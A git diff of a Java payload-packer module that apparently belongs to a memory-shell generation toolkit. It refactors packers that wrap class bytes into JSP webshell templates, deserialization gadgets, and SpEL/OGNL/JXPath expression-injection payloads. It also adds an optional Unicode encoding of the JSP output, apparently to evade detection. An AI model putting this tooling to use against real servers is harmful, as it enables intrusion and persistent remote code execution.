+import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/12/10 */ -public class JavaDeserializePacker implements AggregatePacker { - -} \ No newline at end of file +public class JavaDeserializePacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.JavaCommonsBeanutils19.getInstance().pack(classPackerConfig); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java index e27218a2..6b4cfc3b 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/groovy/GroovyPacker.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.groovy; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/12/13 */ -public class GroovyPacker implements AggregatePacker { - +public class GroovyPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.GroovyClassDefiner.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java index be0da17d..ca4c7e35 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2Packer.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.h2; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2025/6/28 */ -public class H2Packer implements AggregatePacker { - +public class H2Packer implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.H2Javac.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java index 9b3b141b..30ec6110 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java @@ -24,7 +24,8 @@ public class DefaultJarPacker implements JarPacker { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) { - for (Map.Entry entry : jarPackerConfig.getClassBytes().entrySet()) { + Map classBytes = ((Map) jarPackerConfig.getClassBytes()); + for (Map.Entry entry : classBytes.entrySet()) { targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class")); targetJar.write(entry.getValue()); targetJar.closeEntry(); diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java index a43cb139..92756043 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java @@ -8,6 +8,7 @@ import lombok.SneakyThrows; import java.io.ByteArrayOutputStream; import java.nio.charset.StandardCharsets; +import java.util.Map; import java.util.jar.JarEntry; import java.util.jar.JarOutputStream; import java.util.jar.Manifest; @@ -21,7 +22,7 @@ public class GroovyTransformJarPacker implements JarPacker { @SneakyThrows public byte[] packBytes(JarPackerConfig config) { String mainClassName = config.getMainClassName(); - byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + byte[] mainClassBytes = ((Map) config.getClassBytes()).get(mainClassName); mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation"); mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation"); diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java index ebd08e63..dd6bffa9 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java @@ -7,6 +7,7 @@ import lombok.SneakyThrows; import java.io.ByteArrayOutputStream; import java.nio.charset.StandardCharsets; +import java.util.Map; import java.util.jar.JarEntry; import java.util.jar.JarOutputStream; import java.util.jar.Manifest; @@ -21,7 +22,7 @@ public class ScriptEngineJarPacker implements JarPacker { @SneakyThrows public byte[] packBytes(JarPackerConfig config) { String mainClassName = config.getMainClassName(); - byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + byte[] mainClassBytes = ((Map) config.getClassBytes()).get(mainClassName); byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java index e5aab34d..6059db71 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java @@ -3,20 +3,31 @@ package com.reajason.javaweb.packer.jsp; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Util; +import com.reajason.javaweb.packer.spec.PackerSchema; import lombok.SneakyThrows; /** * @author ReaJason * @since 2024/11/26 */ -public class ClassLoaderJspPacker implements Packer { +public class ClassLoaderJspPacker implements Packer { private final String jspTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jsp"); @Override @SneakyThrows - public String pack(ClassPackerConfig config) { - return jspTemplate.replace("{{className}}", config.getClassName()) + public String pack(ClassPackerConfig config) { + String content = jspTemplate.replace("{{className}}", config.getClassName()) .replace("{{base64Str}}", config.getClassBytesBase64Str()); + JspCustomPackerConfig customConfig = config.getCustomConfig(); + if (customConfig != null && customConfig.isUnicode()) { + return JspUnicoder.encode(content, true); + } + return content; + } + + @Override + public PackerSchema schema() { + return JspCustomPackerConfig.schema(); } } \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java deleted file mode 100644 index ffb49f30..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java +++ /dev/null @@ -1,12 +0,0 @@ -package com.reajason.javaweb.packer.jsp; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; - -public class ClassLoaderJspUnicodePacker implements Packer { - @Override - public String pack(ClassPackerConfig classPackerConfig) { - return JspUnicoder.encode(Packers.ClassLoaderJSP.getInstance().pack(classPackerConfig), true); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java index b9ffbe3c..ba5b31f2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java @@ -3,27 +3,38 @@ package com.reajason.javaweb.packer.jsp; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Util; +import com.reajason.javaweb.packer.spec.PackerSchema; import lombok.SneakyThrows; /** * @author ReaJason * @since 2024/11/26 */ -public class DefineClassJspPacker implements Packer { +public class DefineClassJspPacker implements Packer { private final String template = Util.loadTemplateFromResource("/memshell-party/shell1.jsp"); private final String bypassTemplate = Util.loadTemplateFromResource("/memshell-party/shell2.jsp"); @Override @SneakyThrows - public String pack(ClassPackerConfig config) { + public String pack(ClassPackerConfig config) { String injectorBytesBase64Str = config.getClassBytesBase64Str(); String injectorClassName = config.getClassName(); String template = this.template; if (config.isByPassJavaModule()) { template = bypassTemplate; } - return template.replace("{{className}}", injectorClassName) + String content = template.replace("{{className}}", injectorClassName) .replace("{{base64Str}}", injectorBytesBase64Str); + JspCustomPackerConfig customConfig = config.getCustomConfig(); + if (customConfig != null && customConfig.isUnicode()) { + return JspUnicoder.encode(content, true); + } + return content; } -} \ No newline at end of file + + @Override + public PackerSchema schema() { + return JspCustomPackerConfig.schema(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java deleted file mode 100644 index 709c42c5..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.reajason.javaweb.packer.jsp; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.packer.Util; -import lombok.SneakyThrows; - -/** - * @author ReaJason - * @since 2024/11/26 - */ -public class DefineClassJspUnicodePacker implements Packer { - - @Override - @SneakyThrows - public String pack(ClassPackerConfig config) { - return JspUnicoder.encode(Packers.DefineClassJSP.getInstance().pack(config), true); - } -} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfig.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfig.java new file mode 100644 index 00000000..70d9b810 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfig.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.packer.jsp; + +import com.reajason.javaweb.packer.spec.PackerFieldSchema; +import com.reajason.javaweb.packer.spec.PackerFieldType; +import com.reajason.javaweb.packer.spec.PackerSchema; +import lombok.Data; + +/** + * @author ReaJason + * @since 2026/2/26 + */ +@Data +public class JspCustomPackerConfig { + private boolean unicode; + + public static PackerSchema schema() { + PackerFieldSchema unicodeField = new PackerFieldSchema(); + unicodeField.setKey("unicode"); + unicodeField.setType(PackerFieldType.BOOLEAN); + unicodeField.setRequired(false); + unicodeField.setDefaultValue(false); + unicodeField.setDescription("Enable Unicode encoding"); + unicodeField.setDescriptionI18nKey("unicodeEncoded.desc"); + + PackerSchema schema = new PackerSchema(); + schema.getFields().add(unicodeField); + schema.getDefaultConfig().put("unicode", false); + return schema; + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java index cd2a2dbd..96a2aa2f 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java @@ -1,10 +1,16 @@ package com.reajason.javaweb.packer.jsp; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/11/26 */ -public class JspPacker implements AggregatePacker { -} \ No newline at end of file +public class JspPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.ClassLoaderJSP.getInstance().pack(classPackerConfig); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java index 685a821f..5f814de0 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java @@ -3,20 +3,31 @@ package com.reajason.javaweb.packer.jsp; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Util; +import com.reajason.javaweb.packer.spec.PackerSchema; import lombok.SneakyThrows; /** * @author ReaJason * @since 2024/11/26 */ -public class JspxPacker implements Packer { +public class JspxPacker implements Packer { private final String jspxTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jspx"); @Override @SneakyThrows - public String pack(ClassPackerConfig config) { - return jspxTemplate.replace("{{className}}", config.getClassName()) + public String pack(ClassPackerConfig config) { + String content = jspxTemplate.replace("{{className}}", config.getClassName()) .replace("{{base64Str}}", config.getClassBytesBase64Str()); + JspCustomPackerConfig customConfig = config.getCustomConfig(); + if (customConfig != null && customConfig.isUnicode()) { + return JspUnicoder.encode(content, false); + } + return content; } -} \ No newline at end of file + + @Override + public PackerSchema schema() { + return JspCustomPackerConfig.schema(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java deleted file mode 100644 index 80b327a0..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java +++ /dev/null @@ -1,13 +0,0 @@ -package com.reajason.javaweb.packer.jsp; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; - -public class JspxUnicodePacker implements Packer { - @Override - public String pack(ClassPackerConfig classPackerConfig) { - String content = Packers.JSPX.getInstance().pack(classPackerConfig); - return JspUnicoder.encode(content, false); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java index 15f30a69..3a6e9b7e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.jxpath; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/12/13 */ -public class JXPathPacker implements AggregatePacker { - +public class JXPathPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.JXPathScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java index 39d6eea2..b2b48976 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java @@ -3,6 +3,8 @@ package com.reajason.javaweb.packer.jxpath; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; +import org.apache.commons.codec.binary.Base64; import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; @@ -18,6 +20,6 @@ public class JXPathSpringGzipJDK17Packer implements Packer { String className = config.getClassName(); assertClassNameValid(className); return template.replace("{{className}}", className) - .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + .replace("{{base64Str}}", Base64.encodeBase64String(Util.gzipCompress(config.getClassBytes()))); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java index 3ce11ef0..a48376ba 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java @@ -3,6 +3,8 @@ package com.reajason.javaweb.packer.jxpath; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; +import org.apache.commons.codec.binary.Base64; /** * @author ReaJason @@ -14,6 +16,6 @@ public class JXPathSpringGzipPacker implements Packer { @Override public String pack(ClassPackerConfig config) { return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + .replace("{{base64Str}}", Base64.encodeBase64String(Util.gzipCompress(config.getClassBytes()))); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java index 8ec5f253..931537a2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.ognl; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/12/14 */ -public class OGNLPacker implements AggregatePacker { - +public class OGNLPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.OGNLScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java index 359db4c1..d665c7b0 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java @@ -3,7 +3,9 @@ package com.reajason.javaweb.packer.ognl; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; @@ -20,6 +22,6 @@ public class OGNLSpringGzipJDK17Packer implements Packer { String className = config.getClassName(); assertClassNameValid(className); return template.replace("{{className}}", className) - .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + .replace("{{base64Str}}", Base64.encodeBase64String(Util.gzipCompress(config.getClassBytes()))); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java index 1516a1af..9eec092e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java @@ -3,7 +3,9 @@ package com.reajason.javaweb.packer.ognl; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; /** * @author ReaJason @@ -16,6 +18,6 @@ public class OGNLSpringGzipPacker implements Packer { @SneakyThrows public String pack(ClassPackerConfig config) { return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + .replace("{{base64Str}}", Base64.encodeBase64String(Util.gzipCompress(config.getClassBytes()))); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java index 0e33b65e..c146abd6 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java @@ -1,10 +1,16 @@ package com.reajason.javaweb.packer.scriptengine; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/12/3 */ -public class ScriptEnginePacker implements AggregatePacker { +public class ScriptEnginePacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.DefaultScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldSchema.java b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldSchema.java new file mode 100644 index 00000000..d8d6cdc2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldSchema.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.packer.spec; + +import lombok.Data; + +import java.util.ArrayList; +import java.util.List; + +/** + * Field metadata for packer config UI. + */ +@Data +public class PackerFieldSchema { + private String key; + private PackerFieldType type; + private boolean required; + private Object defaultValue; + private String description; + private String descriptionI18nKey; + private List options = new ArrayList<>(); +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldType.java b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldType.java new file mode 100644 index 00000000..3dcac96a --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldType.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.packer.spec; + +/** + * Supported packer config field types. + */ +public enum PackerFieldType { + BOOLEAN, + STRING, + ENUM, + INTEGER +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerOptionValue.java b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerOptionValue.java new file mode 100644 index 00000000..90d35be2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerOptionValue.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.packer.spec; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * Enum option metadata for UI rendering. + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +public class PackerOptionValue { + private String value; + private String label; +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerRequestSpec.java b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerRequestSpec.java new file mode 100644 index 00000000..91c72096 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerRequestSpec.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.packer.spec; + +import lombok.Data; + +import java.util.LinkedHashMap; +import java.util.Map; + +/** + * Request-time packer selection and config. + */ +@Data +public class PackerRequestSpec { + private String name; + private Map config = new LinkedHashMap<>(); +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerSchema.java b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerSchema.java new file mode 100644 index 00000000..1007368a --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spec/PackerSchema.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.packer.spec; + +import lombok.Data; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * Packer config schema metadata. + */ +@Data +public class PackerSchema { + private List fields = new ArrayList<>(); + private Map defaultConfig = new LinkedHashMap<>(); + + public static PackerSchema empty() { + return new PackerSchema(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java index 3d0ee510..3680c22f 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java @@ -1,10 +1,16 @@ package com.reajason.javaweb.packer.spel; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2025/1/26 */ -public class SpELPacker implements AggregatePacker { +public class SpELPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.SpELScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java index 8b6f47cb..e9b7e941 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java @@ -3,6 +3,8 @@ package com.reajason.javaweb.packer.spel; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; +import org.apache.commons.codec.binary.Base64; /** * @author ReaJason @@ -16,7 +18,7 @@ public class SpELSpringGzipJDK17Packer implements Packer { String className = config.getClassName(); assertClassNameValid(className); return template.replace("{{className}}", className) - .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + .replace("{{base64Str}}", Base64.encodeBase64String(Util.gzipCompress(config.getClassBytes()))); } public static void assertClassNameValid(String className) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java index 3f5257ce..bac62e53 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java @@ -3,6 +3,8 @@ package com.reajason.javaweb.packer.spel; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; +import org.apache.commons.codec.binary.Base64; /** @@ -19,6 +21,6 @@ public class SpELSpringGzipPacker implements Packer { @Override public String pack(ClassPackerConfig config) { return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + .replace("{{base64Str}}", Base64.encodeBase64String(Util.gzipCompress(config.getClassBytes()))); } } \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java index 1dc674b1..79b3388e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/translet/AbstractTransletPacker.java @@ -1,10 +1,16 @@ package com.reajason.javaweb.packer.translet; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2025/11/19 */ -public class AbstractTransletPacker implements AggregatePacker { +public class AbstractTransletPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.JDKAbstractTransletPacker.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java index 9c068bca..58d6e0de 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java @@ -1,11 +1,16 @@ package com.reajason.javaweb.packer.xmldecoder; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2025/7/22 */ -public class XMLDecoderPacker implements AggregatePacker { - +public class XMLDecoderPacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return Packers.XMLDecoderScriptEngine.getInstance().pack(classPackerConfig); + } } diff --git a/packer/src/test/java/com/reajason/javaweb/packer/PackerCustomConfigTest.java b/packer/src/test/java/com/reajason/javaweb/packer/PackerCustomConfigTest.java new file mode 100644 index 00000000..37d13528 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/PackerCustomConfigTest.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.packer; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.util.HashMap; +import java.util.Map; + +class PackerCustomConfigTest { + + @Test + void typedPackerShouldInferCustomConfigType() { + TypedDemoPacker packer = new TypedDemoPacker(); + Assertions.assertEquals(DemoCustomConfig.class, packer.customConfigType()); + } + + @Test + void rawPackerShouldTreatAsNoCustomConfig() { + RawDemoPacker packer = new RawDemoPacker(); + Assertions.assertNull(packer.customConfigType()); + Assertions.assertNull(packer.resolveCustomConfig(Map.of("enabled", true))); + } + + @Test + void typedPackerShouldResolveCustomConfig() { + TypedDemoPacker packer = new TypedDemoPacker(); + DemoCustomConfig resolved = packer.resolveCustomConfig(Map.of( + "name", "demo", + "enabled", true, + "count", 7 + )); + Assertions.assertEquals("demo", resolved.getName()); + Assertions.assertTrue(resolved.isEnabled()); + Assertions.assertEquals(7, resolved.getCount()); + } + + @Test + void typedPackerShouldReturnDefaultWhenNull() { + TypedDemoPackerWithDefault packer = new TypedDemoPackerWithDefault(); + DemoCustomConfig resolved = packer.resolveCustomConfig(null); + 